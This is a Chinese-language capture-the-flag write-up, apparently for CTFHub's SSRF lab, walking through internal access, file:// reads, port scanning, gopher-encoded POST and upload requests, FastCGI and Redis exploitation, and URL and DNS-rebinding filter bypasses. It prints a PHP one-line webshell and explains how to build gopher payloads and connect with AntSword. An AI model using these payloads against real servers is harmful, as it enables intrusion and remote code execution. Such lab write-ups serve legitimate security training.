一.(内网访问 伪协议读取文件 端口扫描)
1.内网访问
根据提示输入http://127.0.0.1/flag.php访问flag文件得到flag
2.伪协议读取文件
(1).系统提示输入web目录下的flag文件,使用file协议。
file:///var/www/html/flag
发现页面没有显示flag
(2).查看页面源代码,得到flag
3.端口扫描
(1).根据提示目标端口在8000-9000之间,因此输入http://127.0.0.1:8000
(2).使用bp工具抓包并发送到攻击器,将端口范围设置到8000-9000开始攻击。
(3).得到正确端口为,访问?url=http://127.0.0.1:8594,得到flag。
二.(post 上传文件 FastCGL协议 Redis协议)
1.post
(1).访问http://127.0.0.1/flag.php,出现如下界面。
(2).查看页面源代码发现key值。
(3).将key值输入填写框内,对此页面进行抓包。
(4).在post前添加gopher://127.0.0.1:80/_并删除多余数据和空行。
(5).对此数据包进行URL编码。
(6).复制到文本中,将所有%0a替换为%0d%0a,并在结尾添加%0d%0a
(7).对编辑后的文本进行二次URL编码,并复制到网页中。
(8).并将gopher之后和80之前的'%253A'替换为':',然后访问,出现如下页面,得到flag。
2.上传文件
(1).访问http://127.0.0.1/flag.php,出现如下界面。
(2).发现页面只有‘浏览’选项,因此输入<input type="submit" name="submit">,创建一个提交按钮。
(3).新建一个1.php文件,其中输入木马<?php @eval($_POST["cmd"]);?>,并在该页面提交1.php文件并抓包该页面。
(4).在post表头前添加 gopher://127.0.0.1:80/_并删除多余数据
注意post后加空格。
(5).将数据进行URL编码并复制。
(6).将编码后的数据复制到一个新的文本文档,并将%0a全部替换为%0d%0a。
(7).将文本文档中的数据进行二次编码。
(8).将二次编码后的数据复制到如下界面,并将gopher之后和80之前的'%253A'替换为':',然后访问,出现如下页面,得到flag。
3.FastCGL协议
(1).进入关卡,访问index.php,发现存在这个页面。
(2).输入python2 gopherus.py --exploit fastcgi,出现如下页面。
(3).对一句话木马<?php @eval($_POST["cmd"]);?>进行编码。
(4).根据提示输入相关信息
/var/www/html/index.php
(5).将生成的数据进行URL编码。
(6).将编码后的数据带到页面中访问。
(7).在页面中访问shell.php确定其绝对路径,然后使用蚁剑连接。
(8).最后得到flag。
4.Redis协议
(1)进入关卡。
(3)对生成的数据进行URL编码
(4)访问上传的shell.php文件。
(5)使用蚁剑连接得到flag。
三.(URL Bypass 数字IP Bypass 302跳转Bypass DNS重绑定Bypass)
1.URL Bypass
(1)网址必须以http://notfound.ctfhub.com开头。
(2)我们需要使用@将用户和主机连接起来,因此输入http://notfound.ctfhub.com@127.0.0.1/flag.php得到flag
2.数字IP Bypass
输入http://localhost/flag.php得到flag
3.302跳转Bypass
(1) 输入http://127.0.01/flag.php 发现被ban掉了。
(2)输入http://localhost/flag.php得到flag。
4.DNS重绑定Bypass
(1) 输入http://localhost/flag.php 发现被ban掉了。
(2)因此我们需要凑一个本机地址,访问https://lock.cmpxchg8b.com/rebinder.html。
(3)使用凑出来的地址代替本机地址,得到flag。